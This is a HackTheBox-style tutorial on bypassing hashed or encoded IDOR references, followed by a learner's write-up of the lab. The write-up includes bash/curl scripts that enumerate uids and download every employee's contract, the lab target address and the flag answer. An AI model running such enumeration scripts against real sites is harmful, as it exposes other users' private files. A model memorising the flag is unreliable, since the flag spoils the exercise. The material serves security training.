Bypassing Encoded References

In the previous section, we saw an example of an IDOR that uses employee uids in clear text, making it easy to enumerate. In some cases, web applications make hashes or encode their object references, making enumeration more difficult, but it may still be possible.

Let's go back to the Employee Manager web application to test the Contracts functionality:

Employee Contracts with links to 'Contracts' and 'Employment_contract.pdf'

If we click on the Employment_contract.pdf file, it starts downloading the file. The intercepted request in Burp looks as follows:

HTTP POST request to /download.php with contract parameter 'cdd96d3cc73d1dbdaffa03c6cd7339b' and headers including Host, Content-Length, and User-Agent

We see that it is sending a POST request to download.php with the following data:

contract=cdd96d3cc73d1dbdaffa03cc6cd7339b

Using a download.php script to download files is a common practice to avoid directly linking to files, as that may be exploitable with multiple web attacks. In this case, the web application is not sending the direct reference in cleartext but appears to be hashing it in an md5 format. Hashes are one-way functions, so we cannot decode them to see their original values.

We can attempt to hash various values, like uidusernamefilename, and many others, and see if any of their md5 hashes match the above value. If we find a match, then we can replicate it for other users and collect their files. For example, let's try to compare the md5 hash of our uid, and see if it matches the above hash:

m4cc18@htb[/htb]$ echo -n 1 | md5sum

c4ca4238a0b923820dcc509a6f75849b -

Unfortunately, the hashes do not match. We can attempt this with various other fields, but none of them matches our hash. In advanced cases, we may also utilize Burp Comparer and fuzz various values and then compare each to our hash to see if we find any matches. In this case, the md5 hash could be for a unique value or a combination of values, which would be very difficult to predict, making this direct reference a Secure Direct Object Reference. However, there's one fatal flaw in this web application.

Function Disclosure

As most modern web applications are developed using JavaScript frameworks, like AngularReact, or Vue.js, many web developers may make the mistake of performing sensitive functions on the front-end, which would expose them to attackers. For example, if the above hash was being calculated on the front-end, we can study the function and then replicate what it's doing to calculate the same hash. Luckily for us, this is precisely the case in this web application.

If we take a look at the link in the source code, we see that it is calling a JavaScript function with javascript:downloadContract('1'). Looking at the downloadContract() function in the source code, we see the following:

function downloadContract(uid) {
    $.redirect("/download.php", {
        contract: CryptoJS.MD5(btoa(uid)).toString(),
    }, "POST", "_self");
}

This function appears to be sending a POST request with the contract parameter, which is what we saw above. The value it is sending is an md5 hash using the CryptoJS library, which also matches the request we saw earlier. So, the only thing left to see is what value is being hashed.

In this case, the value being hashed is btoa(uid), which is the base64 encoded string of the uid variable, which is an input argument for the function. Going back to the earlier link where the function was called, we see it calling downloadContract('1'). So, the final value being used in the POST request is the base64 encoded string of 1, which was then md5 hashed.

We can test this by base64 encoding our uid=1, and then hashing it with md5, as follows:

m4cc18@htb[/htb]$ echo -n 1 | base64 -w 0 | md5sum

cdd96d3cc73d1dbdaffa03cc6cd7339b -

Tip: We are using the -n flag with echo, and the -w 0 flag with base64, to avoid adding newlines, in order to be able to calculate the md5 hash of the same value, without hashing newlines, as that would change the final md5 hash.

As we can see, this hash matches the hash in our request, meaning that we have successfully reversed the hashing technique used on the object references, turning them into IDOR's. With that, we can begin enumerating other employees' contracts using the same hashing method we used above. Before continuing, try to write a script similar to what we used in the previous section to enumerate all contracts.

The script would look like this:

#!/bin/bash

url="http://SERVER_IP:PORT"

for i in {1..20}; do
    for hash in $(echo -n $i | base64 -w 0 | md5sum | tr -d ' -'); do
        curl -sOJ -X POST -d "contract=$hash" $url/download.php
    done
done

Mass Enumeration

Once again, let us write a simple bash script to retrieve all employee contracts. More often than not, this is the easiest and most efficient method of enumerating data and files through IDOR vulnerabilities. In more advanced cases, we may utilize tools like Burp Intruder or ZAP Fuzzer, but a simple bash script should be the best course for our exercise.

We can start by calculating the hash for each of the first ten employees using the same previous command while using tr -d to remove the trailing - characters, as follows:

m4cc18@htb[/htb]$ for i in {1..10}; do echo -n $i | base64 -w 0 | md5sum | tr -d ' -'; done

cdd96d3cc73d1dbdaffa03cc6cd7339b
0b7e7dee87b1c3b98e72131173dfbbbf
0b24df25fe628797b3a50ae0724d2730
f7947d50da7a043693a592b4db43b0a1
8b9af1f7f76daf0f02bd9c48c4a2e3d0
006d1236aee3f92b8322299796ba1989
b523ff8d1ced96cef9c86492e790c2fb
d477819d240e7d3dd9499ed8d23e7158
3e57e65a34ffcb2e93cb545d024f5bde
5d4aace023dc088767b4e08c79415dcd

Next, we can make a POST request on download.php with each of the above hashes as the contract value, which should give us our final script:

#!/bin/bash

for i in {1..10}; do
    for hash in $(echo -n $i | base64 -w 0 | md5sum | tr -d ' -'); do
        curl -sOJ -X POST -d "contract=$hash" http://SERVER_IP:PORT/download.php
    done
done

With that, we can run the script, and it should download all contracts for employees 1-10:

m4cc18@htb[/htb]$ bash ./exploit.sh
$ ls -1

contract_006d1236aee3f92b8322299796ba1989.pdf
contract_0b24df25fe628797b3a50ae0724d2730.pdf
contract_0b7e7dee87b1c3b98e72131173dfbbbf.pdf
contract_3e57e65a34ffcb2e93cb545d024f5bde.pdf
contract_5d4aace023dc088767b4e08c79415dcd.pdf
contract_8b9af1f7f76daf0f02bd9c48c4a2e3d0.pdf
contract_b523ff8d1ced96cef9c86492e790c2fb.pdf
contract_cdd96d3cc73d1dbdaffa03cc6cd7339b.pdf
contract_d477819d240e7d3dd9499ed8d23e7158.pdf
contract_f7947d50da7a043693a592b4db43b0a1.pdf

As we can see, because we could reverse the hashing technique used on the object references, we can now successfully exploit the IDOR vulnerability to retrieve all other users' contracts.


Exercise

TARGET: 154.57.164.67:32231

Challenge 1

Try to download the contracts of the first 20 employee, one of which should contain the flag, which you can read with 'cat'. You can either calculate the 'contract' parameter value, or calculate the '.pdf' file name directly.

Hint: See what encoding/hashing method the page is using, and try to calculate the same thing for each employee's uid.

Discovery

Start by visiting the target web app and and going to Contracts:
image-12.png

When we actually click Employment_contract.pdf, the only thing that happens, is that it downloads the following file to our machine:

contract_c4ca4238a0b923820dcc509a6f75849b.pdf

If we further open the source code of this page or simply look at the /contracts.php request on Burp Proxy HTTP history we can notice:
image-13.png
The file link directly calls the function downloadContract(uid):

...
     <ul class="pure-tree">
        <li class="pure-tree_link"><a 
	        href="javascript:downloadContract('1')"
	        target="_self">Employment_contract.pdf</a></li>
      </ul>
...

The downloadContract(uid) function looks as follows:

    function downloadContract(uid) {
      window.location = `/download.php?contract=${encodeURIComponent(btoa(uid))}`;
    }

This would produce a contract parameter like base64(uid), URL-encoded. For uid=1, that would be MQ==, and URL-encoded it becomes MQ%3D%3D

But we observed that clicking downloads gives the file name:

contract_c4ca4238a0b923820dcc509a6f75849b.pdf

And c4ca4238a0b923820dcc509a6f75849b is the MD5 of "1", not base64 and not md5(base64(“1”)) like in this section's example.

Therefore the actual file name of the file is misleading us! But that does not mean a request to download the file exactly reflects its name.

Exploit

Once we understand how the /download.php file can refer to the file requested for download using a hashed/encoded version of the uid, we can proceed to test our findings using the following command:

┌──(macc㉿kaliLab)-[~/htb/web_attacks/contracts]
└─$ echo -n "1" | base64 -w 0
MQ==

To confirm the IDOR vulnerability, we just need to send a download request and use this base64 value as the contract parameter (note we know this is a GET request because the frontend downloadContract(uid) function disclosed it):

curl -sOJ http://154.57.164.67:32231/download.php?contract=MQ==
  1. -s (silent): Suppresses the progress meter and most error messages. If an error occurs, it will still be displayed unless the -S flag is also used.
  2. -O (output): Instructs cURL to save the downloaded file using the same name as it has on the remote server (the filename from the URL).
  3. -J (remote header name): Tells cURL to use the filename specified in the server's Content-Disposition header, if present. This is useful when the server suggests a specific filename for the download.

The downloaded file will appear in the current directory:

┌──(macc㉿kaliLab)-[~/htb/web_attacks/contracts]
└─$ ls
contract_c4ca4238a0b923820dcc509a6f75849b.pdf

Here are the potential hashes that we need to download the 20 files:

──(macc㉿kaliLab)-[~/htb/web_attacks/contracts]
└─$ for i in {1..20}; do echo -n $i | base64 | tr -d ' -'; done
MQ==
Mg==
Mw==
NA==
NQ==
Ng==
Nw==
OA==
OQ==
MTA=
MTE=
MTI=
MTM=
MTQ=
MTU=
MTY=
MTc=
MTg=
MTk=
MjA=

At this point all the hard work is done, and all we have to do is to make a GET request on /download.php with each of the above hashes as the contract value. This can be done using the curl command in the following donwload_contracts.sh script:

#!/bin/bash

for i in {1..20}; do
    for hash in $(echo -n $i | base64 -w 0 | tr -d ' -'); do
        curl -sOJ http://154.57.164.67:32231/download.php?contract=$hash
    done
done

Run the script:

┌──(macc㉿kaliLab)-[~/htb/web_attacks/contracts]
└─$ ./download_contracts.sh

See what files were downloaded:

┌──(macc㉿kaliLab)-[~/htb/web_attacks/contracts]
└─$ ls -ltr
total 8
-rwxrwxr-x 1 macc macc 174 Apr 15 15:42 download_contracts.sh
-rw-rw-r-- 1 macc macc   0 Apr 15 15:42 contract_c4ca4238a0b923820dcc509a6f75849b.pdf
-rw-rw-r-- 1 macc macc   0 Apr 15 15:42 contract_c81e728d9d4c2f636f067f89cc14862c.pdf
-rw-rw-r-- 1 macc macc   0 Apr 15 15:42 contract_eccbc87e4b5ce2fe28308fd9f2a7baf3.pdf
-rw-rw-r-- 1 macc macc   0 Apr 15 15:42 contract_a87ff679a2f3e71d9181a67b7542122c.pdf
-rw-rw-r-- 1 macc macc   0 Apr 15 15:42 contract_e4da3b7fbbce2345d7772b0674a318d5.pdf
-rw-rw-r-- 1 macc macc   0 Apr 15 15:42 contract_1679091c5a880faf6fb5e6087eb1b2dc.pdf
-rw-rw-r-- 1 macc macc   0 Apr 15 15:42 contract_8f14e45fceea167a5a36dedd4bea2543.pdf
-rw-rw-r-- 1 macc macc   0 Apr 15 15:42 contract_c9f0f895fb98ab9159f51fd0297e236d.pdf
-rw-rw-r-- 1 macc macc   0 Apr 15 15:42 contract_45c48cce2e2d7fbdea1afc51c7c6ad26.pdf
-rw-rw-r-- 1 macc macc   0 Apr 15 15:42 contract_d3d9446802a44259755d38e6d163e820.pdf
-rw-rw-r-- 1 macc macc   0 Apr 15 15:42 contract_6512bd43d9caa6e02c990b0a82652dca.pdf
-rw-rw-r-- 1 macc macc   0 Apr 15 15:42 contract_c20ad4d76fe97759aa27a0c99bff6710.pdf
-rw-rw-r-- 1 macc macc   0 Apr 15 15:42 contract_c51ce410c124a10e0db5e4b97fc2af39.pdf
-rw-rw-r-- 1 macc macc   0 Apr 15 15:42 contract_aab3238922bcc25a6f606eb525ffdc56.pdf
-rw-rw-r-- 1 macc macc   0 Apr 15 15:42 contract_9bf31c7ff062936a96d3c8bd1f8f2ff3.pdf
-rw-rw-r-- 1 macc macc   0 Apr 15 15:42 contract_c74d97b01eae257e44aa9d5bade97baf.pdf
-rw-rw-r-- 1 macc macc   0 Apr 15 15:42 contract_70efdf2ec9b086079795c442636b55fb.pdf
-rw-rw-r-- 1 macc macc   0 Apr 15 15:42 contract_6f4922f45568161a8cdf4ad2299f6d23.pdf
-rw-rw-r-- 1 macc macc   0 Apr 15 15:42 contract_1f0e3dad99908345f7439f8ffabdffc4.pdf
-rw-rw-r-- 1 macc macc  30 Apr 15 15:42 contract_98f13708210194c475687be6106a3b84.pdf

Finally, since we are told that the flag is found in any of these files, lets look for the string HTB (the format for HackTheBox flags) using a grep command:

┌──(macc㉿kaliLab)-[~/htb/web_attacks/contracts]
└─$ grep -r "HTB" .
./contract_98f13708210194c475687be6106a3b84.pdf:HTB{h45h1n6_1d5_w0n7_570p_m3}

flag: HTB